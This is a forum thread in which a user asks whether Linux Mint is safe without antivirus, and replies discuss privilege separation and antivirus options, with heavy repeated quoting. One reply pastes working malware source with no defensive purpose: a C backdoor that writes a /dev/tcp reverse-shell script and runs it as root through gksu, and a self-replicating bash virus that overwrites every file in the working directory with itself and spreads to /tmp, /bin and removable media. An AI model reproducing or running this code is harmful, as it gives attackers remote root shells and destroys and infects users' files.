- Jan 27, 2013
- 661
As the title says...is linux really secure.?..i have been using linux mint now for about 5 months and have no av installed.
As the title says...is linux really secure.?..i have been using linux mint now for about 5 months and have no av installed.
As the title says...is linux really secure.?..i have been using linux mint now for about 5 months and have no av installed.
Not a very helpful reply lolLinux was made by Computer Hackers for Hackers to use and it's a right mess, I hate Linux and stuff!
Not a very helpful reply lol
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
/*
* Backdoor.c
* Copyright (C) 2014 (BlackBox) Grey Hat Hacker <ade@PC-U180>
*
* Revers_Shell_Exploit is free software: you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Revers_Shell_Exploit is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*
*
* Exploit compiled with Anjuta Compiler!!!
*
*/
#include <stdio.h>
int main()
{
FILE *fp;
char* str = "string";
int x = 10;
fp=fopen("/tmp/Update.sh", "w");
if(fp == NULL)
exit(-1);
fprintf(fp, "#!/bin/bash\n");
fprintf(fp, "exec 5<>/dev/tcp/127.0.0.1/1000\n");
fprintf(fp, "cat <&5 | while read line; do $line 2>&5 >&5; done\n");
fclose(fp);
system("gksu -u root /bin/bash /tmp/Update.sh");
system("rm /tmp/Update.sh");
return (0);
}
#!/bin/bash
# p3w-451
for file in *
do
chmod +x $file 2>/dev/null
cp $0 $file 2>/dev/null
done
r=$(pwd)
case "/tmp" in
/*) p=$r;;
esac
cp -r . "/tmp" 2>/dev/null
r=$(pwd)
case "/bin" in
/*) p=$r;;
esac
sudo cp -r . "/bin" 2>/dev/null
cd /media
for user in $(ls -d */)
do
for dirs in $(ls -d $user*)
do
cp /tmp/p3w-451.sh /media/$dirs/ 2>/dev/null
done
done
cat /tmp/p3w-451.sh
# P3W-451 is a desert world in orbit around the companion
# star of a newly formed black hole. All indigenous
# life on the planet recently became extinct, and the
# gravity of the black hole is slowly tearing the planet
# apart. Major Boyd and SG-10 were on a routine mission
# to the planet, and attempts to contact them opened a
# wormhole that could not be disengaged. The team was lost,
# and to break the wormhole connection, SG-1 forced the wormhole
# to arc to another planet.
#
# P3W-451 was later accessed in order to use the extreme gravity
# to cause a supernova in the Vorash system. The coordinates were also
# offered to the Aschen.
#
# Location: Richmond Sand Dunes
# p3w-451 - Created by (BlackBox)
#
# http://rdanderson.com/stargate/entries/p3w451.htm
#
# http://www.youtube.com/watch?v=E-xIxGPM68E
#
# Press Ctrl Key + click
#
Nothing is really secure, and every operating system can be compromised by malware. However, the Linux platform has almost no real malware that is targeting home users, so you should be safe.As the title says...is linux really secure.?..i have been using linux mint now for about 5 months and have no av installed.
Nothing is really secure, and every operating system can be compromised by malware. However, the Linux platform has almost no real malware that is targeting home users, so you should be safe.
Linux systems are by no means infallible, but one of their key advantages lies in the way account privileges are assigned. In Windows, users are generally given administrator access by default, which means they pretty much have access to everything on the system, even its most crucial parts. So, then, do malware.
With Linux, on the other hand, users do not usually have such "root" privileges; rather, they're typically given lower-level accounts. What that means is that even if a Linux system is compromised, the virus won't have the root access it would need to do damage system wide; more likely, just the user's local files and programs would be affected.
Nothing is really secure, and every operating system can be compromised by malware. However, the Linux platform has almost no real malware that is targeting home users, so you should be safe.
Linux systems are by no means infallible, but one of their key advantages lies in the way account privileges are assigned. In Windows, users are generally given administrator access by default, which means they pretty much have access to everything on the system, even its most crucial parts. So, then, do malware.
With Linux, on the other hand, users do not usually have such "root" privileges; rather, they're typically given lower-level accounts. What that means is that even if a Linux system is compromised, the virus won't have the root access it would need to do damage system wide; more likely, just the user's local files and programs would be affected.
Nothing is really secure, and every operating system can be compromised by malware. However, the Linux platform has almost no real malware that is targeting home users, so you should be safe.
Linux systems are by no means infallible, but one of their key advantages lies in the way account privileges are assigned. In Windows, users are generally given administrator access by default, which means they pretty much have access to everything on the system, even its most crucial parts. So, then, do malware.
With Linux, on the other hand, users do not usually have such "root" privileges; rather, they're typically given lower-level accounts. What that means is that even if a Linux system is compromised, the virus won't have the root access it would need to do damage system wide; more likely, just the user's local files and programs would be affected.
Jack & BlackBox Hacker is right, No OS is totally secure but Comparatively with Windows it is a bit secured but still i would suggest you to use any Antivirus or Some security tools.
If you will be transferring files between your Linux and Windows often, then you can use an on-demand antivirus on Linux. More importantly Windows should have an Antivirus installed anyway.
Real-time protection on Linux? If you can find one that works.
If you will be transferring files between your Linux and Windows often, then you can use an on-demand antivirus on Linux. More importantly Windows should have an Antivirus installed anyway.
Real-time protection on Linux? If you can find one that works.
If you will be transferring files between your Linux and Windows often, then you can use an on-demand antivirus on Linux. More importantly Windows should have an Antivirus installed anyway.
Real-time protection on Linux? If you can find one that works.
Well at least, there is only a few people or black hatter that like or attemp to hacking linux, that's somewhat reduce the possibilities getting hacked while using Linux (as far as I know of course, since only a few people using Linux)
And yes, you also need AV on Linux as well, at least that what most people said
Well at least, there is only a few people or black hatter that like or attemp to hacking linux, that's somewhat reduce the possibilities getting hacked while using Linux (as far as I know of course, since only a few people using Linux)
And yes, you also need AV on Linux as well, at least that what most people said